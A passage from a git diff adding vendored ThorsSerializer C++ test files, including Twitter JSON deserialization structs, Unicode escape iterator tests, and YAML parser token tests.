PrinterInterface::OutputType::Stream); + + EXPECT_EQ(output.str(), inputStr); +} + + diff --git a/Extern/include/ThorsSerializer/test/TwitterTest.cpp b/Extern/include/ThorsSerializer/test/TwitterTest.cpp new file mode 100644 index 0000000..f43578f --- /dev/null +++ b/Extern/include/ThorsSerializer/test/TwitterTest.cpp @@ -0,0 +1,21 @@ +#include "SerializeConfig.h" +#include "SerUtil.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "test/TwitterTest.h" +#include + +TEST(TwitterTest, ReadTwitterObject) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::ifstream input("test/data/twitter.json"); + TwitterTest::Twitter value; + bool importDone = false; + + if (input >> ThorsAnvil::Serialize::jsonImporter(value, ParserInterface::ParseType::Weak)) { + importDone = true; + } + EXPECT_EQ(importDone, true); + EXPECT_EQ(value.statuses[0].user.screen_name, "ayuu0123"); +} + diff --git a/Extern/include/ThorsSerializer/test/TwitterTest.h b/Extern/include/ThorsSerializer/test/TwitterTest.h new file mode 100644 index 0000000..3f36021 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/TwitterTest.h @@ -0,0 +1,233 @@ +#include "Traits.h" +#include +#include +#include + +namespace TwitterTest +{ + using IntVec = std::vector; + using Symbol = std::map; + using Symbols = std::vector; + + struct Metadata + { + std::string result_type; + std::string iso_language_code; + }; + + struct URL + { + std::string url; + std::string expanded_url; + std::string display_url; + IntVec indices; + }; + using URLS = std::vector; + + struct URLObject + { + URLS urls; + }; + + struct Entities + { + URLObject* url = nullptr; + URLObject description; + }; + + struct User + { + long id; + std::string id_str; + std::string name; + std::string screen_name; + std::string location; + std::string description; + std::string* url = nullptr; + Entities entities; + int followers_count; + int friends_count; + int listed_count; + std::string created_at; + int favourites_count; + int* utc_offset = nullptr; + std::string* time_zone = nullptr; + bool geo_enabled; + bool verified; + int statuses_count; + std::string lang; + bool contributors_enabled; + bool is_translator; + bool is_translation_enabled; + std::string profile_background_color; + std::string profile_background_image_url; + std::string profile_background_image_url_https; + bool profile_background_tile; + std::string profile_image_url; + std::string profile_image_url_https; + std::string* profile_banner_url = nullptr; + std::string profile_link_color; + std::string profile_sidebar_border_color; + std::string profile_sidebar_fill_color; + std::string profile_text_color; + bool profile_use_background_image; + bool default_profile; + bool default_profile_image; + bool following; + bool follow_request_sent; + bool notifications; + }; + using Users = std::vector; + + struct Hashtag + { + std::string text; + IntVec indices; + }; + using Hashtags = std::vector; + + struct UserMention + { + std::string screen_name; + std::string name; + long id; + std::string id_str; + IntVec indices; + }; + using UserMentions = std::vector; + + struct Size + { + int w; + int h; + std::string resize; + }; + + struct Sizes + { + Size medium; + Size small; + Size thumb; + Size large; + }; + + struct Media + { + long id; + std::string id_str; + IntVec indices; + std::string media_url; + std::string media_url_https; + std::string url; + std::string display_url; + std::string expanded_url; + std::string type; + Sizes sizes; + long* source_status_id = nullptr; + std::string* source_status_id_str= nullptr; + }; + using Medias = std::vector; + + struct TwitEntities + { + Hashtags hashtags; + Symbols symbols; + URLS urls; + UserMentions user_mentions; + Medias* media = nullptr; + }; + + struct RetweetedStatus + { + Metadata metadata; + std::string created_at; + long id; + std::string id_str; + std::string text; + std::string source; + bool truncated; + long* in_reply_to_status_id = nullptr; + std::string* in_reply_to_status_id_str = nullptr; + long* in_reply_to_user_id = nullptr; + std::string* in_reply_to_user_id_str = nullptr; + std::string* in_reply_to_screen_name = nullptr; + User user; + int* geo = nullptr; + int* coordinates = nullptr; + int* place = nullptr; + int* contributors = nullptr; + int retweet_count; + int favorite_count; + TwitEntities entities; + bool favorited; + bool retweeted; + bool* possibly_sensitive = nullptr; + std::string lang; + }; + + struct Status + { + Metadata metadata; + std::string created_at; + long id; + std::string id_str; + std::string text; + std::string source; + bool truncated; + long* in_reply_to_status_id = nullptr; + std::string* in_reply_to_status_id_str = nullptr; + long* in_reply_to_user_id = nullptr; + std::string* in_reply_to_user_id_str = nullptr; + std::string* in_reply_to_screen_name = nullptr; + User user; + int* geo = nullptr; + int* coordinates = nullptr; + int* place = nullptr; + int* contributors = nullptr; + RetweetedStatus*retweeted_status = nullptr; + int retweet_count; + int favorite_count; + TwitEntities entities; + bool favorited; + bool retweeted; + bool* possibly_sensitive = nullptr; + std::string lang; + }; + using Statuses = std::vector; + + struct SearchMetadata + { + double completed_in; + long max_id; + std::string max_id_str; + std::string next_results; + std::string query; + std::string refresh_url; + int count; + long since_id; + std::string since_id_str; + }; + + struct Twitter + { + Statuses statuses; + SearchMetadata search_metadata; + }; +} + +ThorsAnvil_MakeTrait(TwitterTest::Metadata, result_type, iso_language_code); +ThorsAnvil_MakeTrait(TwitterTest::URL, url, expanded_url, display_url, indices); +ThorsAnvil_MakeTrait(TwitterTest::URLObject, urls); +ThorsAnvil_MakeTrait(TwitterTest::Entities, url, description); +ThorsAnvil_MakeTrait(TwitterTest::User, id, id_str, name, screen_name, location, description, url, entities, followers_count, friends_count, listed_count, created_at, favourites_count, utc_offset, time_zone, geo_enabled, verified, statuses_count, lang, contributors_enabled, is_translator, is_translation_enabled, profile_background_color, profile_background_image_url, profile_background_image_url_https, profile_background_tile, profile_image_url, profile_image_url_https, profile_banner_url, profile_link_color, profile_sidebar_border_color, profile_sidebar_fill_color, profile_text_color, profile_use_background_image, default_profile, default_profile_image, following, follow_request_sent, notifications); +ThorsAnvil_MakeTrait(TwitterTest::Hashtag, text, indices); +ThorsAnvil_MakeTrait(TwitterTest::UserMention, screen_name, name, id, id_str, indices); +ThorsAnvil_MakeTrait(TwitterTest::Size, w, h, resize); +ThorsAnvil_MakeTrait(TwitterTest::Sizes, medium, small, thumb, large); +ThorsAnvil_MakeTrait(TwitterTest::Media, id, id_str, indices, media_url, media_url_https, url, display_url, expanded_url, type, sizes, source_status_id, source_status_id_str); +ThorsAnvil_MakeTrait(TwitterTest::TwitEntities, hashtags, symbols, urls, user_mentions, media); +ThorsAnvil_MakeTrait(TwitterTest::RetweetedStatus, metadata, created_at, id, id_str, text, source, truncated, in_reply_to_status_id, in_reply_to_status_id_str, in_reply_to_user_id, in_reply_to_user_id_str, in_reply_to_screen_name, user, geo, coordinates, place, contributors, retweet_count, favorite_count, entities, favorited, retweeted, possibly_sensitive, lang); +ThorsAnvil_MakeTrait(TwitterTest::Status, metadata, created_at, id, id_str, text, source, truncated, in_reply_to_status_id, in_reply_to_status_id_str, in_reply_to_user_id, in_reply_to_user_id_str, in_reply_to_screen_name, user, geo, coordinates, place, contributors, retweeted_status, retweet_count, favorite_count, entities, favorited, retweeted, possibly_sensitive, lang); +ThorsAnvil_MakeTrait(TwitterTest::SearchMetadata, completed_in, max_id, max_id_str, next_results, query, refresh_url, count, since_id, since_id_str); +ThorsAnvil_MakeTrait(TwitterTest::Twitter, statuses, search_metadata); + diff --git a/Extern/include/ThorsSerializer/test/UnicodeIteratorTest.cpp b/Extern/include/ThorsSerializer/test/UnicodeIteratorTest.cpp new file mode 100644 index 0000000..58eb519 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/UnicodeIteratorTest.cpp @@ -0,0 +1,91 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "UnicodeIterator.h" +#include + +using namespace ThorsAnvil::Serialize; + +TEST(UnicodeIteratorTest, NormalCharacters) +{ + std::string input(R"("This is a normal string that should not change")"); + std::string output(make_UnicodeWrapperIterator(std::begin(input)), make_EndUnicodeWrapperIterator(std::end(input))); + EXPECT_EQ("This is a normal string that should not change", output); +} +TEST(UnicodeIteratorTest, StandardEscape) +{ + std::string input(R"("\"\\\b\f\n\r\t")"); + std::string output(make_UnicodeWrapperIterator(std::begin(input)), make_EndUnicodeWrapperIterator(std::end(input))); + EXPECT_EQ("\"\\\b\f\n\r\t", output); +} +TEST(UnicodeIteratorTest, Unicode1Byte) +{ + std::string input(R"("\u006f\u004E")"); + std::string output(make_UnicodeWrapperIterator(std::begin(input)), make_EndUnicodeWrapperIterator(std::end(input))); + EXPECT_EQ("oN", output); +} +TEST(UnicodeIteratorTest, Unicode2Byte) +{ + std::string input(R"("\u0102\u011D\u013d")"); + std::string output(make_UnicodeWrapperIterator(std::begin(input)), make_EndUnicodeWrapperIterator(std::end(input))); + EXPECT_EQ("ĂĝĽ", output); +} +TEST(UnicodeIteratorTest, Unicode3Byte) +{ + std::string input(R"("\u0967\u0995\u097f")"); + std::string output(make_UnicodeWrapperIterator(std::begin(input)), make_EndUnicodeWrapperIterator(std::end(input))); + EXPECT_EQ("१কॿ", output); +} +TEST(UnicodeIteratorTest, UnicodeSurrogatePairs) +{ + std::string input(R"("\uD80C\uDC00")"); + std::string output(make_UnicodeWrapperIterator(std::begin(input)), make_EndUnicodeWrapperIterator(std::end(input))); + // 0xF0 0x93 0x80 0x80 (UTF-8) => 0x00013000 (UTF-32) => 0xD80C 0xDC00 (UTF-16) + // http://www.fileformat.info/info/unicode/char/13000/index.htm + EXPECT_EQ("\xF0\x93\x80\x80", output); +} + +TEST(UnicodeIteratorTest, PushNormalCharacters) +{ + std::string input("This is a normal string that should not change"); + std::string output; + std::copy(std::begin(input), std::end(input), make_UnicodePushBackIterator(output)); + EXPECT_EQ(input, output); +} +TEST(UnicodeIteratorTest, PushStandardEscape) +{ + std::string input(R"(\"\\\b\f\n\r\t)"); + std::string output; + std::copy(std::begin(input), std::end(input), make_UnicodePushBackIterator(output)); + EXPECT_EQ("\"\\\b\f\n\r\t", output); +} +TEST(UnicodeIteratorTest, PushUnicode1Byte) +{ + std::string input(R"(\u006f\u004E)"); + std::string output; + std::copy(std::begin(input), std::end(input), make_UnicodePushBackIterator(output)); + EXPECT_EQ("oN", output); +} +TEST(UnicodeIteratorTest, PushUnicode2Byte) +{ + std::string input(R"(\u0102\u011D\u013d)"); + std::string output; + std::copy(std::begin(input), std::end(input), make_UnicodePushBackIterator(output)); + EXPECT_EQ("ĂĝĽ", output); +} +TEST(UnicodeIteratorTest, PushUnicode3Byte) +{ + std::string input(R"(\u0967\u0995\u097f)"); + std::string output; + std::copy(std::begin(input), std::end(input), make_UnicodePushBackIterator(output)); + EXPECT_EQ("१কॿ", output); +} +TEST(UnicodeIteratorTest, PushUnicodeSurrogatePairs) +{ + std::string input(R"(\uD80C\uDC00)"); + std::string output; + std::copy(std::begin(input), std::end(input), make_UnicodePushBackIterator(output)); + // 0xF0 0x93 0x80 0x80 (UTF-8) => 0x00013000 (UTF-32) => 0xD80C 0xDC00 (UTF-16) + // http://www.fileformat.info/info/unicode/char/13000/index.htm + EXPECT_EQ("\xF0\x93\x80\x80", output); +} + diff --git a/Extern/include/ThorsSerializer/test/YamlParserTest.cpp b/Extern/include/ThorsSerializer/test/YamlParserTest.cpp new file mode 100644 index 0000000..3a16275 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/YamlParserTest.cpp @@ -0,0 +1,631 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "YamlParser.h" + +// enum class ParserToken {Error, DocStart, DocEnd, MapStart, MapEnd, ArrayStart, ArrayEnd, Key, Value}; + +namespace TA=ThorsAnvil::Serialize; +using TA::ParserInterface; + +TEST(YamlParserTest, isNullNullString) +{ + std::stringstream stream("null"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(true, parser.isValueNull()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, isNullTilda) +{ + std::stringstream stream("~"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(true, parser.isValueNull()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, ArrayEmpty) +{ + std::stringstream stream("[]"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, ArrayOneValue) +{ + std::stringstream stream("[12]"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, ArrayTwoValue) +{ + std::stringstream stream("[12,13]"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, ArrayThreeValue) +{ + std::stringstream stream("[12,13,14]"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, ArrayWithArray) +{ + std::stringstream stream("[[]]"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, ArrayWithTwoArray) +{ + std::stringstream stream("[[],[]]"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, ArrayWithMap) +{ + std::stringstream stream("[{}]"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, ArrayWithTwoMap) +{ + std::stringstream stream("[{},{}]"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, MapEmpty) +{ + std::stringstream stream("{}"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, MapOneValue) +{ + std::stringstream stream(R"({"One": 12})"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, MapTwoValue) +{ + std::stringstream stream(R"({"one": 12, "two": 13})"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, MapThreeValue) +{ + std::stringstream stream(R"({"one":12, "two": 13, "three": 14})"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, MapWithArray) +{ + std::stringstream stream(R"({"one": []})"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, MapWithTwoArray) +{ + std::stringstream stream(R"({"one": [], "two": []}])"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, MapWithMap) +{ + std::stringstream stream(R"({"one": {}})"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, MapWithTwoMap) +{ + std::stringstream stream(R"({"one": {}, "two": {}})"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, GetKeyValue) +{ + std::stringstream stream(R"({"one": 15})"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + + std::string key = parser.getKey(); + EXPECT_EQ("one", key); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int value; + parser.getValue(value); + EXPECT_EQ(15, value); + + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, GetArrayValues) +{ + std::stringstream stream(R"([true, false, 123, 123.4, "A String"])"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool test1 = false; + parser.getValue(test1); + EXPECT_EQ(true, test1); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool test2 = true; + parser.getValue(test2); + EXPECT_EQ(false, test2); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int test3 = 0; + parser.getValue(test3); + EXPECT_EQ(123, test3); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + double test4 = 80; + parser.getValue(test4); + EXPECT_EQ(1234, (int)(test4*10)); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string test5; + parser.getValue(test5); + EXPECT_EQ("A String", test5); + + + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(YamlParserTest, CheckErrorDoesNotRead) +{ + std::stringstream stream("]["); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + + // First Character is an error. + EXPECT_EQ(ParserInterface::ParserToken::Error, parser.getToken()); + + // Subsequent read should also be an error. + // But it should not read from the stream + EXPECT_EQ(ParserInterface::ParserToken::Error, parser.getToken()); +} + +TEST(YamlParserTest, getDataFromString) +{ + std::stringstream stream(R"(["Test"])"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_NO_THROW( + parser.getValue(value1); + ); + EXPECT_EQ("Test", value1); + + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); + + + unsigned short value2e; + ASSERT_ANY_THROW( + parser.getValue(value2e) + ); + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); + + float value3a; + ASSERT_ANY_THROW( + parser.getValue(value3a) + ); + double value3b; + ASSERT_ANY_THROW( + parser.getValue(value3b) + ); + long double value3c; + ASSERT_ANY_THROW( + parser.getValue(value3c) + ); + + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} +TEST(YamlParserTest, getDataFromInt) +{ + std::stringstream stream(R"([56])"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_NO_THROW( + parser.getValue(value1) + ); + EXPECT_EQ("56", value1); + + short value2a; + ASSERT_NO_THROW( + parser.getValue(value2a) + ); + EXPECT_EQ(56, value2a); + int value2b; + ASSERT_NO_THROW( + parser.getValue(value2b) + ); + EXPECT_EQ(56, value2b); + long value2c; + ASSERT_NO_THROW( + parser.getValue(value2c) + ); + EXPECT_EQ(56, value2c); + long long value2d; + ASSERT_NO_THROW( + parser.getValue(value2d) + ); + EXPECT_EQ(56, value2d); + short value2e; + ASSERT_NO_THROW( + parser.getValue(value2e) + ); + EXPECT_EQ(56, value2e); + int value2f; + ASSERT_NO_THROW( + parser.getValue(value2f) + ); + EXPECT_EQ(56, value2f); + long value2g; + ASSERT_NO_THROW( + parser.getValue(value2g) + ); + EXPECT_EQ(56, value2g); + long long value2h; + ASSERT_NO_THROW( + parser.getValue(value2h) + ); + EXPECT_EQ(56, value2h); + + float value3a; + ASSERT_NO_THROW( + parser.getValue(value3a) + ); + EXPECT_EQ(56, value3a); + double value3b; + ASSERT_NO_THROW( + parser.getValue(value3b) + ); + EXPECT_EQ(56, value3b); + long double value3c; + ASSERT_NO_THROW( + parser.getValue(value3c) + ); + EXPECT_EQ(56, value3c); + + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} +TEST(YamlParserTest, getDataFromFloat) +{ + std::stringstream stream(R"([123.56])"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_NO_THROW( + parser.getValue(value1) + ); + EXPECT_EQ("123.56", value1); + + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); + unsigned short value2e; + ASSERT_ANY_THROW( + parser.getValue(value2e) + ); + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); + + float value3a; + ASSERT_NO_THROW( + parser.getValue(value3a) + ); + EXPECT_EQ(12356, static_cast(value3a * 100 + .5)); + double value3b; + ASSERT_NO_THROW( + parser.getValue(value3b) + ); + EXPECT_EQ(12356, static_cast(value3b * 100 + .5)); + long double value3c; + ASSERT_NO_THROW( + parser.getValue(value3c) + ); + EXPECT_EQ(12356, static_cast(value3c * 100 + .5)); + + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} +TEST(YamlParserTest, getDataFromBool) +{ + std::stringstream stream(R"([true, false])"); + TA::YamlParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_NO_THROW( + parser.getValue(value1) + ); + EXPECT_EQ("true", value1); + + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); + unsigned short value2e; + ASSERT_ANY_THROW( + 